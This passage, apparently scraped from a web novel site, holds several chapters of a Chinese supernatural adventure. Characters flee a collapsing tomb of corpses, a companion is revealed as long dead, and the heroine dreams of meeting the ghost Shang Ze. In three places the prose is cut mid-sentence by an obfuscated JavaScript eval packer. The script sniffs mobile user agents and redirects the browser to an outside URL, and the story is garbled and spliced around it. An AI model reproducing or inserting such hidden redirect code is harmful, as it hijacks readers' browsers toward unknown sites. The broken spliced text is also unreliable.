她抓着红绳,扯下半截衣摆,干脆回答他刚才的问题:“我不会。”话毕,她伸长腿蹬着靠近的石壁,两三下拽着红绳爬了上来,怀里的布人动了动,商则回来了。 麦子和旁边的一个工人松了手,看见她松了一口气,芩竹道了声谢,自己收起绳子,想要将她怀给主人,扭头一看,绳子的主人手中抱着把短剑,看见她就哭:“你没事,吓死我了……” “没事,你这个?”芩竹看着她问。 “婆婆说这剑用血养能驱鬼神,旁边的干尸太多了,麦子姐姐要拉着你,我打不过那些东西,就只能试试,还算有点用……”姜绾抽抽搭搭地吸着鼻涕。 的确,现在那些阴尸都在石壁上贴着,再不济也是围在旁边不敢前进。再看姜绾,现在手心的裂口还在渗血,就是不知道这剑能挡多久。 这时,小七从后面来叫她们,说是石道通了。 芩竹看着姜绾,伸手在她胳膊上搓了搓,把葫芦和红绳还给她:“厉害,就是你回去记得教训一下你的桂枝姑姑,她刚才差点消散了。” “啊?” 24. 百人墓 时间回到刚刚。 芩竹从台阶栽下去时就已经抓住了那个葫芦,下落中就想将这葫芦丢回去,却不想被台阶下面的一只阴尸突袭,让那无头的四肢扑了一脸,被迫按进“人”堆里。 四面八方的阴尸就和瞅见鲜肉的恶狼一般,齐齐地扑了过来,一只一只压得芩竹气都喘不过来。 她的小臂卡在一排黑牙中间,手中葫芦上的符纸在打斗中蹭得歪了些,终于自己奋力蹬开了一条缝,正要喊姜绾的时候,侧边突然跳起一道黑影,就要将她再次压住。 正当此时,面前显出道淡淡的影子,穿着整齐的衣袍,张开手臂想要将她挡在身后,身影薄薄的,小小的,还没有姜绾高。 芩竹余光瞟到这一幕,心跳忽然停了一下,一股难言的情感从心口窜上鼻尖,牵动到眉头微微皱起。她飞速扯开葫芦上的符纸将桂枝重新收了进去,抬臂去挡那飞来的黑影。 想象中的重量没有,反倒是鼻间飘来了一股水汽,再是冷飕飕的风,睁眼一看,小臂上燃着一层冷火,那黑影和周边一小圈的阴尸都成了飞灰。 她瞅准时机,掀开几个又要将她压下的阴尸,才向上喊了声。 “桂枝姑姑心疼你。”姜绾轻轻扯了两下芩竹身上破破烂烂的衣服。 他们现在已经过了通道,进了下一个石室,用石块堵了通道口,也是到这里,他们才弄明白前面几个石室的人都在跪拜什么。 这间石室中,除了石壁上的鼓鼓囊囊和那些叩首的工人外,还有一尊和石室齐高的神像,没有五官,身体似男似女,纯黑的身上浮满了凌乱的红印,发着暗光,心脏的位置同样扎着根铜针。 不知怎么,芩竹看见这神像的一瞬间,浑身气力好似被抽了个干净就要软下身子。商则在这时候现形,伸手想要接住她,可却是手臂穿过芩竹的身子,那道轻飘飘的身影被旁边的姜绾和麦子扶住。 商则垂眸看着自己的手,安静顶着那张不爽的脸以一团虚影飘到芩竹身后去。 芩竹抚额,晃了晃脑袋站稳,看着眼前的像,问:“这是谁?” “不清楚,但是——还记得之前在青云寺外面我给你说的那个不知名神像吗,好像就是这个。”麦子说。 姜绾眯着眼打量那神像上浮动的红印,嘴里嘟囔着:“那上面的像是生辰年月,你看……” 芩竹闻言望去,细细看了看还真的是,麦子盯着那像也说:“之前去青云寺,也有人没有走到寺中,反而是去它面前参拜,记得有个邻居说过,他拜的这神仙特别灵。” 就是说,来青云寺的人大都来过这,也有的没去过青云寺只拜了这神仙。 “你去过吗?”芩竹问麦子,后者摇头,说懒得去,她了然道:“城中那些无故昏睡的人可能是被这神像上的某种咒术扣住了阳寿。” “啊?做这些干什么?”姜绾不解。 是啊,芩竹也不知道。这种咒术属于邪术,大多能取他人之寿命延续自己的,可这般作为也终有一死,死后更是业障缠身,白白搭上条人命锁在身上。 而且这一路走来,先前最开始几个密室,都像是在激发恶念,阴气因为建造者或那些僧人的错误咒语激发得格外浓郁,从商则和桂枝的反应就能看出来。可越往这里靠近神像,又逐渐被压回来,到此刻商则的依旧躁动,却只能是道虚影。 就仿佛是把一大团邪恶积压在一个小罐子里,再盖上盖子不让它出来。实在是搞不懂用意。 神像位于这间石室稍靠后的位置,它的后面有一条台阶,向上十几阶后拐向了左边,那边是小七口中的出口。 害怕这里的阴尸也突然发疯,麦子就先带着人去登那台阶。芩竹留下,说想看看这尊神像。 商则一直在后面安静站着,烦躁溢满了整间密室,没过小腿,他却一动不动,视线从芩竹乱了的发顶,滑到手肘破口处的皮肤,啧,更烦了…… 芩竹略有所感,回头看了眼,发现那人拧眉盯着自己脚后跟,也不知想什么,她不再管他,捏出一道符纸,抬手在纸面上划出一道杠,再松开手,这条线显出亮光,符纸便悬在空中。 姜绾在旁边站着,悄悄看着芩竹动作。 不知她口中念了什么,掐了两道手诀,面前的符纸忽然向神像伸出了无数道泛着金光的丝线将那尊像缠住,原本浮在像上的红印开始发抖,红印之多盖满整尊神像,这么一抖,和金线纠缠着,看的人眼花缭乱。 芩竹竖在胸前的两指又将之前那诀换了两次,另一只手剑指缓缓向下压着,金线绷直,红印挣扎一会,最终还是被撕了下来,顺着条条金线流进这张小小的符纸。 她伸手接下着张符,最初差些没拿住,符纸薄如发,现下却重如山,还是姜绾从旁边莫名接了下,芩竹才不至于被这符砸到地下去。 看样子,姜绾还想完全感受不到这符此刻的变化。 “没事。”芩竹捧着那张符,心念一动,快速隔空在符纸上方滑下几道光印,指尖一弹,把这光印附在纸上,符纸的重量缓缓消失,纸页也渐渐消失,化成一道金色灰尘无影无踪。 这时,腰间的敲击声又来了,同时,芩竹身上竟然砸下一股巨大的压力,比起之前手上的重量只多不少,硬生生将她压得腿脚支撑不住,半跪在地上。 姜绾托着她的手根本就拉不住,炸了毛一般用气声道:“这叫没事?”她们站在神像前面,身边就是一群跪拜的阴尸,动静太大姜绾怕几人折在这。 芩竹晃晃脑袋,万年不变的语调道:“刚才好像睡着了。” 听听这是人说的话吗,您心这么大的吗?姜绾实在不敢苟同,将人使劲搀扶起来要带她走,却被芩竹拉住。 她抓着腰间的碎块,扭头喊了声“商则”,那人不知什么时候站在身后半步的位置,这一下回身差点直接回到他怀里去,芩竹不得不后仰着身子才能仰头去看他的脸:“你有什么感觉?” 她的碎块又动了,这里一定有东西,和碎块一体的商则肯定也有感应,要找还得靠他。 而商则的影子也并不那么浅淡了,像是压制已然消失,手放在自己胳膊上,衣料上面是似有若无的冰凉触感。 “难受。”他说。 他想找到什么,那东西就在这里,但又没有头绪。 商则现在就像是泡在水里,燥意淹没了口鼻,那种抓心挠肝的急切也掺在里面,他的每一次呼吸都在把这些吸进脑海,狂躁地恨不得将头拔下来倒倒里面的水。 可是现在就这么安静站着,抓着芩竹的手也是虚虚握着,面上看不出半点。 芩竹看着他的表情,指了下神像上面的铜针,道:“那下面说不定又你要的东西。”不怪芩竹注意到它,实在是这东西出现太多次了,又和那碎块有直接关系。 “能上去吗?”她又补充了句,上下打量着商则这像是随时要消失的虚影。 商则:……瞧不起人。 “可以。你们先走,这些东西要醒了。”商则说着,轻轻把芩竹的胳膊往前送了下。 芩竹点头,也不犹豫,直接拉着姜绾登上阶梯拐过一个弯,眼前还是一段不长的阶梯,隐隐有急促的碰撞声响起,还有不少的谈话声。 这不是出口么,怎么还有人在? 两人心中奇怪,快步登上最后一级台阶,入目是一处可以容纳六七人的平台,平台前段和顶部被硕大的石块堆满,工人们正在想办法从石堆里挖出一条路来。 出口被堵住了。 听见她们上来,麦子摇摇头:“是被炸塌了,这条路八成走不了。” “那怎么办,后面还有一堆等着吃咱们的……”姜绾苦丧着脸颤抖道。 小七还在搬着石块:“只能试试了,估计下层的石室也已经塌了,咱们只剩这一条路能走。” 闻言,芩竹两人也一块去帮忙,只不过她现在身上格外的沉,动一下能累去半条命,挪动的极为艰难。 这种状况好像是散去压在神像上的咒术时发生的,会不会是因为那神像中藏着自己身上带着的那个碎块,这两者之间有什么联系……芩竹想着,神思也跟着飘到外间的石室,不知道商则那边怎么样了。 平台下面的石室中,里面的阴尸缓缓睁眼,商则正挂在神像心口的那根铜针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645069|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 感应没错,就是这里,只不过这根针不像是扎进去的,倒像是直接雕出来的,无论怎么用力都拔不出它。 心心念念的东西就在眼前,却怎么也摸不着,这感觉实在叫人受不住,商则本就被折磨了一路,现在双手握着那根针眼睛红得能滴血,看这模样像是要连带着神像生吞了。 一层一层的红火在他身上燃起,红色的虚影逐渐变得清晰,鲜红的衣裳在空中荡过一个弧度,商则一手抓着神像衣服褶皱处的凸起,一手攥着那根细针微微颤抖。 神像座下发出“喀嚓”的细响,混在石壁破碎的声音中并不清楚,商则只顾着拔那根针,细针的针尖仿佛变成了一只手,那只手白净修长,和她主人洁白的衣摆一般,眼前的红色又重新冒了出来,染上了那身白,在上面添下几处触目惊心的红花。 似有雷声响在耳侧,商则忽地惊醒,瞳孔滚过一抹猩红,发力将那铜针拔出。 咔——咔—— 一道裂纹从神像心口的针孔如蛛网般散开,迅速爬满全身,商则似未察觉,一拳砸在这道裂口中心,又是“嗡”的一声,宛如一口洪钟罩着心脏敲击,一阵闷痛于胸口炸开。 急速的碎块撞击声在平台中响起,芩竹闷哼一声扶住石壁。 外间石室中的阴尸骤然清醒,石壁上的“蛹”中破出更多的异形干尸,有些顺着神像向上爬,有些直向阶梯冲去。 芩竹被痛得愣了下,抓住不住颤动的碎块,忽然整个平台都开始震动,顶部的石块被震得不住向下塌,阶梯上传来嘈杂声,转脸看去,是那些发疯的阴尸,她和姜绾就站在平台口,和它们只隔了拐角处的这节阶梯。 姜绾慌忙抽出那把短剑,哆嗦着举在身前。 突然,脚下震动更甚,外间传来倒塌的撞击声震耳欲聋,声音之大将平台间的石块都震落许多。 麦子被几个石块砸了个正着,在“咚咚咚”的巨响中喊道:“什么塌了?!” “不知道啊,咱们不会也要陪葬吧?”姜绾看着面前一步步跨上来的阴尸同样朝后面喊。 “别乌鸦嘴!”麦子气急,抓着手里的石块砸向堵在前方的石块,不止她,平台里的工人也自觉的加快动作,拼命的想要从挡在面前的石头冲出去。 可这里终是不像通道口那堆石块,小小一堆又松散很容易能挪开。眼前出口处堆着的石块很大,挖掉下面的上面便又会落下更大的,谁也不知道还压着多少。 下方的阶梯上,阴尸都聚在离平台两步的位置,上下窜着却忌惮着姜绾的短剑不敢上前。 芩竹看着旁边短剑上微弱的光芒,似乎有点渐渐弱下去的趋势,她想了想,从姜绾包袱里左掏右掏,摸出一张符,细细看了两眼,抬手抓着那把短剑的剑刃随意一抹,血迹被剑刃舔去,光芒亮了些。 她用那只伤手捏着符纸轻轻一挥,叹声“起”,一串火舌便从符纸中滚出。 芩竹将那符纸点去面前的阶梯,瞬间火舌腾空充斥整个阶梯,热浪阵阵,数道黑影在里面挣扎翻滚最后没了身影。 姜绾挥了挥鼻间难闻的气味,抱着剑问她:“那召火符?你怎么不早用。” “因为……” 话音落下,符纸消失,阶梯中的巨大火焰也没了影,只剩躺在地上的黑影还在着着些火苗,剩下一堆黑烟和闷热,而拐角后的阶梯上,还再向来爬着阴尸。 杀不完啊杀不完。姜绾身子凉了一半,只觉得前路渺茫。 此时,闷热中忽然刺进来一股凉意,仿若一把泛着寒光的尖刀。 正在向来奔的阴尸不动了,下一刻,如沙一般散去,紧接着,拐角后涌来更浓的寒意,红火滚进阶梯即将漫上平台。 这不是召火符的火,而是商则的火。 芩竹迅速把姜绾拉在身后,两人退进平台。 红火在芩竹脚尖处堪堪停住,火焰末端发着颤,无数双小手挣扎着想要破坏什么。 笃笃笃。碎块不住地同木牌撞击。 她伸手挡着身后平台,抬眼看去。 红火从中间散开,阶梯上缓缓走来一道身影。 25. 今生缘 阶梯上缓缓走来一道身影,红火从中间散开,商则踏上台阶,同样抬眸,想象中的狠厉没有,反倒一脸的茫然,身形踉跄。 看见芩竹的那一刻,他好像终于记起自己在哪里,溢满整个阶梯的阴气被努力压着,朝芩竹伸出手。 一个黑影从他手心飞出,“叮”,撞上芩竹腰间的碎块。碎块又完整了些,阶梯上的阴气开始暴涨,身后的工人不敢乱动,纷纷停下手里的动作。 芩竹观察他现在的状态,试探出声:“商则……商则?能打开这个出口吗?” 商则本来是按压着额头,听见她的话还疑惑的“嗯”了声,反应过来她是在问什么后,摇头道:“我控制不住……等会我,我怕,你们会埋在里面。” 能打开就好,埋不埋的…… “你只管撞开。” 芩竹说着,那只糊满鲜血的手在腰间的木牌上划了一下,牌上裂纹中忽然渗出丝丝缕缕的金光,慢慢填满了这道纹,完整的木牌晃出一道金色虚影,芩竹双手合十再打开,那道木牌虚影便悬在她的两手之间,紧接着,这虚影放大,变成个四四方方的罩子。 芩竹抽空看了眼商则,接着两手并指。 这罩子一下变得和平台一样大,将他们一群人罩在里面,与此同时,四周猛地爆出红光,红浪滔天,肆无忌惮地砸在罩子上。 商则已经没了身影,只有不停震动的石室表明了他正在做什么。光罩上方不停有石块砸下来,薄薄一层浅光挡在眼前,和直接砸在脸上没有区别。 这四方罩子中的人都害怕极了,生怕一个不小心光罩破口,被生生埋在里面。 麦子扶着腿脚不便的小七,和幸存的工人们一起缩在平台的角落里。到现在还站着的人,只剩下了姜绾和芩竹。 石室还在晃,比起刚才已经好了许多,头顶的巨石被红浪撞出了一条缝,有一束光从外面透进来,直直打在平台正中间。 那光虽也是冷光,但和冷淡的夜明珠不同,众人看见这束光时,明显连呼吸都轻快了不少。 芩竹抬头望向这条缝隙,偏头向姜绾耳语,叫她把葫芦先拿出来,虽是不太明白,但姜绾还是照做了。 平台上的工人不知想到了什么,大家难得的静了下来,在地上缩着,眼神痴痴望着光束中飘动的浮尘,好像什么稀世珍宝。 顶上的缝隙撞得更大,光束像是在地面上撑开一个伞面,边缘刚好移到一位工人脚下,奇怪的是,那人竟然向后避开了脚尖,俯下身抱起了腿。 麦子不小心看到了这一幕,没有放在心上,转头看向小七,本是想问回家之后做些什么吃,结果扭过头后,刚好对上小七一眨不眨的眼睛。 那人看的认真,灰蒙蒙的眼睛里是她模糊的小像。 麦子不知道为何,心里慌极了。 她牵了下嘴角,问出刚才没问出口的话。她在心里想,不论是什么,只要回答一个便好。 可是小七没有回答这个问题,他搓了搓手,又向手心哈了口气,两只手去捧麦子略微颤抖的手,温声道:“你看,走了一路,我都还没有热起来。” “姐姐拿的衣服太薄了,都是你太长时间不回家,等回去……回去再给你做新的……”麦子笑着说,眉毛却是向下撇着,反手抓住小七的手,低下头呵出一口热气揉了揉他干硬的手。 缝隙变宽,外面干冷的空气窜进来,麦子呼吸中带着白气,染在小七那双血污的手上,而小七面带笑意,摇摇头,出口没有半点活气:“不怪你,是小七食言了,没早点回家陪你。” 麦子辛苦维持的笑意顿住,睫毛扇了下,眼泪从眼眶中毫无预兆的滚了下来,意识到后,她自己都像是吓了一下,懊悔极了,重新拉起一边嘴角,冷嗤一声:“太冷了——先不说这个,那个……” 她反手擦去脸侧的泪水,好像是突然忘记了自己刚刚要说什么,皱着眉头沉吟片刻,再次抬头,想继续最初关于吃什么的那个话题,可入眼,还是小七含笑的样子。 好像在梦中,小七精心绘制了一幅画卷,她满心欢喜打开的那一刻,梦醒了。 麦子终于受不了,捂着脸垂下头去。 头顶上方大半的石块滑落,露出一半阴沉的天,那原本在平台里显得活泛的光,此时也变得清冷许多,四方的石室被光线切割成两部分,活人在这边,死人在那边。 姜绾抱着葫芦,看着身侧隐在暗处的小七,麦子一只手拽着他,拽着的那只袖口下,早就是一条青白的尸手。 她不忍再看,扭着葫芦的塞子,心里想着刚刚和芩竹的耳语。 这些人最少去世一个月了,只不过生前亦有执念未解,或有亲人在外,或是执着想要出去,都不知道自己已经死了。 再加上这地底极为诡异,死去的人都被化成了那神像的信徒,他们这些虽还有自己的思想,可说不准从帮工时就已然被下了咒,在地底许久,根本就和那神像绑在了一起,也是无法出去的。 而且再不知道自己已死,碰见阳间的东西时也会有察觉,就算还不知道,等踏出这个做梦都想离开的地方时,他们就会在那一瞬间变成一具干尸,连灵魂去哪都无法知晓。 所以让姜绾提前拿出葫芦,也只是想帮他们哪怕留下一缕魂魄。 头顶的天空占据越来越大,小七仰头叹了口气,拍拍麦子的手,还想抬手拍拍她脑袋的时候顿住了,举着那只僵硬丑陋的手又叹了口气,他的眼睛干涩,流不出泪,若是不看眼睛,当真以为他和表现得那般是笑着的。 “我是不是从来没同你讲过,我一直很后悔,没有早点见到你……” 平台立于废墟之中,头顶的石块已经全数滑落。 那双雾蒙蒙的眼睛彻底没了光,麦子抓着他的手抬头,拍拍他的脸,又将脑袋凑过去:“小七?” 姜绾迅速扭开葫芦的塞子,芦上的符纸闪过流光,被她一把撕掉,快速合上塞子。 再去看四周的工人们,转瞬间便没了声息,靠坐在平台的石壁上,像是与石头一体。 小七睁着眼睛,表情都没变,麦子望着他几乎要分不清他是不是睡着了,又轻喊了几声,没有回应,那双眼睛里,也没有自己的小像。 麦子舔了下唇,舌尖尽是咸涩,她拨了一把小七鬓边稍短的发茬,还像是和他唠家常: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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商则感受到对面的两道视线,抬头问了声,走了?得到回答后,就将芩竹背在身上,一步一步慢慢踏上石阶,走出山洞。 姜绾紧随其后,然后被吓了个半死。 洞口有个被压在石块下的人,身下血肉模糊,看样子是死了。 她拍拍胸脯,看向商则,刚要控诉,就听那人道:“不是,他很久之前便死了。”那样子毫不在意,估计刚刚出来时都是从人家头顶跨过去的。 麦子跟上来,秉承着善待逝者的宗旨,想先将人从石块下面拉出来,这一近看便觉着熟悉,赶忙叫来姜绾:“他是不是你们要找的人?” 听见这话,姜绾再怕也得壮着胆子看一眼。 而那人也不负众望,满脸血迹下面的确是那张诡异的面具,确认之后再看旁边的破烂,那不就是他那帷幔上的黑纱嘛。 可怎么会死在这呢?姜绾想着,眼前忽然伸来一只手,商则捏着一张烧了一半的符给她。 一看就不是她的,具体表现在,这符看着精致。 “他身下压着的。”商则说完,缓慢直起身,侧头把自己被芩竹压住的发尾拯救出来,缩了缩脖子,“没别的了,先走,她伤的很重。” “……行。” 26. 今生缘 “我是在收麦子的时候出生的,所以取名叫麦子。我之后还有一个妹妹,一个弟弟。 其实幼时的事早就记不清了,反正稀里糊涂的就嫁了出去。那个男人你们也看到了,有些奇怪的癖好,我小时候不敢忤逆他,一身伤在房间里窝着,也是那时候遇见的小七……” 小七是请来大夫的徒弟,麦子伤口化脓发热,整个人迷迷糊糊在床上躺着,眼睛眯开条缝看去,就是小七那张比她还黄瘦的脸,但眼睛亮亮的,心疼地望过来。 那是麦子第一次从别人眼里看到这种情绪,很新奇。 之后她睡着了,再问起那人时,小七已经跟着师父走了。过了许久,也许是一年,麦子从自己院中出去透气,看到了个满身伤痕的小伙计,那人望过来,还是那双眼睛,是当时和她有一面之缘的小七。 麦子记得他,上前关照了一番,得知他是被师父送进来的新伙计,名叫小七,因为是他师父的第七个弟子。 他在这里过的并不好,大家好像在以欺负他为乐,麦子藏东西给他吃时,经常能发现他一身的旧伤添新伤。 “后来我受不了,带着他跑了——虽然说中途失败过一次,差点被打死。”话毕,带上两三道自嘲的笑。 芩竹半梦半醒间,听到的就是这些,她好像趴在海面的一块木板上,身下不稳,摇摇晃晃的。 她一会被之前压在身上的重量按进海水里,一会又被身下的木板托出海面,睡得半点不舒坦,想醒却又醒不过来,牟着劲要将自己逼醒,就是一口咸海水灌进口鼻,重新陷入黑暗。 没过多久,黑暗中透进些红,像是闭着眼在阳光下,眼皮遮不住的光。 她皱了皱眉,睁开眼。 我刚刚是困到站着睡着了? 闹市一角,眼前的巷子里猛地奔过一道人影,把站在原地的芩竹撞得一歪,刚站稳,又追来三四道人影,手里还拿着木棍,口中叫骂:“小兔崽子,站住!敢偷东西老子把你腿打断!” 芩竹揉揉肩头,没有理会那里的事情,正要抬步,破空声从侧边传来,她连忙止步,侧身抬手一抓,一根长棍贴着她的脖子被她稳当攥在手里。 这棍子真眼熟啊。她放下手听着耳边的惨叫声,还是缓步走进了巷子里。 堆放着的杂物后,一个瘦高的少年手里捏着根长棍,毫不留情地砸在躺在地面的那人后脑上,旁边地上还挣扎着几个大汉,都是满头鲜血。 少年下手狠厉,额角的血顺着眉骨流进眼睛,染红眼白,穿着破烂的深色袍子,活像是地下爬出来的恶鬼。 照这么看,他是要把这群人打死。 芩竹施了巧劲将拎着的棍子掷向那少年,少年手上动作一停,迅速护住脑袋,将飞来的棍子砸向一边,抬眼看到芩竹还是刚才那般神态,轻飘飘瞟了一眼,也不将她放在心上,铁了心要打死这几人,继续扬棍砸下。 芩竹无法,两步上前抓住这根棍子,就听见头顶的人冷冷道:“滚。” 然后被芩竹抬脚踹去了一边。 本欲事了拂衣去,没想到刚转过身,背后又是另一道人声,怒吼着:“敢打我,老子弄死你!” 芩竹:…… 她手上还捏着从少年那里夺过来的棍子,默默转身,回头就是一棒,都没看清跳起来那人长什么样,反正就已经被她揍到旁边去了。 师父说不让她掺和世间闲事,又说人命珍贵,能救则救,可现下这情况——芩竹看着眼前这痛得一地乱扭的人,心想这大概也算没搞丢一条人命。 她扔了棍子,走到少年身边,那人被她踹得狠了,还靠在墙边没缓过来,见她来了,一双眼睛下压得警惕,缓缓站起来,看她拿走了掉在脚边的一个纸包。 “你偷的?”芩竹问。 面前的少年死死盯着她摇了摇头。 她将东西塞回了他手里。 少年拿着手中的纸包愣了愣,睫毛忽闪两下,没有说话,捏着纸包跑走了。 芩竹回头看了眼地上的人,也转身出了巷子,余光却不小心望见旁边乱成一团的铺子,上面的纸包和那少年拿走的一模一样。 她被骗了。 芩竹拍拍衣角,还是没有再追上去。 时间似是向后推了几日,她再次下山,这次不止她一个,身旁还跟着个同门师兄。 两人往着客栈而去,路过了一小圈人群,芩竹过时避开旁边退后几步的路人,就侧脸这一下,刚好和里面飞出来的一个人对上视线。 真就是飞出来的,腾空而起再一下子砸在地上。以脸着地,看着就疼。 旁边这圈路人看见时,都忍不住倒抽一口凉气。 芩竹眨了眨眼,刚才像是眼花了,怎么感觉那人特别像上次忽悠她的那个少年。 “让你跑!”一道恶狠狠的声音响起。 那少年在人堆里面,自己在人堆外面忙着赶路,本就不是一路,再眼熟也只是陌生人,芩竹移开眼,快走两步跟上师兄。 忽然,身后人群躁动,芩竹预感不对,刚要躲开,脚腕却被一股大力扣住,垂眸一看,这不是刚才飞出来的那个少年吗? “放手。”她道。 应该是那少年刚才也看到了她,从地上爬起来跌跌撞撞挤出人堆,又不知被哪个“好心人”一脚绊倒在地,只能出手这般留住她。 洁白的衣摆被少年的手攥住数道突兀的黑印,芩竹还是那样的面无表情:“起来。” “起不来,腿疼。”少年的声音和那日相比拔高了些,听着纯良无害,就像是那帮人合起伙来欺负小孩。 那之前要打死人的是谁?骗她的又是谁?真当芩竹不记得那事了? 怎么敢的啊…… 芩竹静静看着他,身姿挺拔,头也不低,只是向后退了半步垂眼看下去,一双黑眸毫无波澜。 一身朴素白衣,腰间挂着个光秃秃滑溜溜的木牌,脑后插着根玉簪。长眉如远山,朱唇如落日,整个人都和那没有生息的水墨画一般,端得是一副高不可攀的模样。 “师妹,怎么了?”师兄见半晌无人跟上,回过头来寻,就看见芩竹和一群人面面相觑,忙问道。 那边人堆里也有人缓缓走出,看见芩竹和旁边的师兄时,步子顿了下,笑着施了一礼:“是日央山玄英顶的弟子啊,有要事下山吧。” 师兄在旁边微笑点头,那人见状,继续道:“嗐,这事闹的,耽误了大师。还不快把人抓回来!”后一句话自然是朝着身旁的那几个伙计。 伙计听了立刻上前,但又不敢离芩竹太近,于是选择拽着那少年的腿先将人拉回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我……你带我走吧,我能做很多事情的,或者我不跟你走,就在山下待着,有事情你都可以使唤我。” 他的样子一点都不像是会老老实实被人指使的,芩竹想着,看了眼师兄,后者摇摇头,下巴向她扬扬:“你自己决定。” 那不就是随便。 芩竹便松了口,问那少年的名字。 “商则。” 少年看着她认真说完,低下头在地上写字,写得很慢,笔画稀碎,一看就是照着记忆中的两个字誊挪在土地上。 不过好歹记性不错,芩竹凑过去看,能明显认出来是哪两个字。 “商则……” 视野逐渐变得模糊,物件周边散出光来,整个画面变得如梦境般恍惚。 芩竹心跳得飞快,然后视线一黑,心脏似乎停跳了一拍,耳边响起一声急切地问候:“我在这,怎么了?” 她猛地睁开眼,眼前是一片发黑的房梁,往侧边移过去,是一身红衣。 商则的手背正轻轻搭在她额前,见她睁眼,紧皱的眉头舒展了些,芩竹能感觉到自己额头上骨骼的触感消失,换成了冰凉的手指,是他在给她擦汗。 “做梦了?”商则状似不经意地问。 芩竹回忆了下,应该是梦,不太真实,只依稀记了个大概,她拿掉眼前的手,仔细辨认着商则的长相,问他:“我和你之前认识?” 27. 今生缘 无论是之前的幻阵,还是刚才的梦境,里面都有商则,她并不觉得自己记忆错乱或眼睛花到将别人混淆成了他。 芩竹也不压着事,想到便问了,狭长的眼低垂时更显得冷漠,直勾勾往过来,一点不近人情。 商则被她抓着手,一时半会也跑不了,况且他本也没想跑,摇头说了声“不知道”,移开眼反手把她的手捏进手心,塞进被子里。 “真的不知道,可能我的本体找全了,从前的事便记起来了。”商则感受到身边的视线,好声好气道。 芩竹脑袋还懵着,被子仅掀起一角的小风都能给她冷得激灵,索性也不管这事。 过去认识那也是过去的事,和现在谈不上多大关系。 她偏过头,清了清嗓子:“有水吗?” 商则手里好像还拿着别的东西,听她问话,默默收了起来,起身说要去给她找水,绕出了矮墙。 他一走,视野开阔,芩竹终于能好好看看这个地方。 自己应该是躺在麦子的家中,之前和姜绾做客时的那个隔间里面。不止她,还有姜绾。 也是商则走了芩竹才发现,原来姜绾就躺在旁边架着的一张木床上,露出半个毛绒绒的脑袋,还在哼哼唧唧,只不过被刚才两人的谈话声盖住了。 这会安静下来,芩竹才听见姜绾哼唧的有多难受。 她总也不能将人那么放着,试探着喊了两声,那头没有反应,于是就想掀了被子下去看看。 一伸胳膊,发现手上面裹了厚厚的白布,她顿了下,继续起身,下床时才意识到,下半截裤腿被人剪掉了,小腿也缠了一圈白布。 不看还好,一看芩竹都不太会走路了,莫名被这白布束缚了行动。 她挪下床靠到姜绾旁边,拍了拍那人,凑过去一听,才知道这人也是想喝水,可商则刚出去,也不知道能带回来多少,就想着自己再出去一趟。 刚直起身,门板“吱呀”一声打开合上,寒风呼啸一瞬,接上了一道放轻的男声:“你怎么下来了?” 商则和门板差不多高,在隔间里也能清楚看见他的肩头以上,还有那张明显不悦的脸。 “姜绾渴了。”芩竹没管他的脸色。 商则拿着两个碗进来,手上还提着冒白气的壶,进屋随手放下就来扶她:“那只鬼会管她,你先坐下,伤口还在流血。” 芩竹小腿被腐蚀了腿侧边一片,得亏她体质奇特,不然麦子要发愁把这半截腿锯掉才不会让毒性入侵,但尽管如此,那一大片伤口还是挺难搞,好不容易翻出来草药敷上,可不能再给糟蹋了。 这是商则给她复述的麦子原话。 “医术不错,我已经好的差不多了。”芩竹说。 矮墙前的那道门又一次响起,这一次脚步声明显热闹,麦子那拖长的调子和她搭腔:“谢谢夸奖,不过这次的药都还没上呢。” 桂枝先一步进来,把商则放在外面的水倒好去拍姜绾,麦子则是端着另外两个碗过来,揶揄说:“我在外面熬药来不及给你敷药,就给他了,不过看样子,应该是没开始动作。” 她走过来,眼神在商则身上转了一圈又滑到芩竹腿上,咂了咂舌,叹道:“还得我来。” 合着刚才商则手里那东西是要给她敷药。芩竹去看他。 后者也不躲,把手上的盒子递给麦子,自己转去拿那碗水,见芩竹要接,还稍稍偏了点让开,慢慢喂给她。 桂枝望见这动作笑笑,转头把姜绾扶起来,关照了下可怜的小白菜,这孩子烧得稀里糊涂,一碗水喝了两口,又被桂枝偷换了成了药,也那么苦着脸喝进去,然后给蒙上了被子。 芩竹看着那边,好奇地对着商则问:“你这算是直接能维持实体了?” “差不多吧,不确定。”商则同样将一碗药端过来。 麦子低头在她腿上捣鼓了半天,打了个利索的结,拍拍手道:“挺好的,有这俩鬼还能给我打打下手。你们俩……一个到家就倒,另一个一睡不起,这都第二日了,再不醒我都怕你们活着活着死过去。” 芩竹知道自己那时候困倒的事,对此只能真诚道谢,忽然想起城中莫名昏睡的人,便问了一嘴。 麦子心情稍微好了些,说是城中那些人昨日凌晨便都醒了,大概就是在芩竹对着那神像摆弄的时候,醒后也没什么后遗症,多是有些体虚,补补便好了。 昨日她去报了官,说了青云寺内的事,还带着官兵找去了他们出来的洞口,将那几名工人尸体带了回去,这两日陆续有来认尸的,听了麦子的事,总有人来送些谢礼,不多,但好歹米汤中能尝到米了。 还有些大户人家中刚苏醒的人,知道麦子从那青云寺好端端出来,也揣着些不明的心思来她这小小医馆看个病送点钱。 不论是何缘由,这两日麦子养着病号还要处理小七后事,腰包总不至于勒的太紧。 “那便好……” “别光说,我快忙死了,你们抓紧时间痊愈帮帮忙那才是好。”麦子撂下一句话,又风风火火窜了出去,说是火上还熬着药呢。 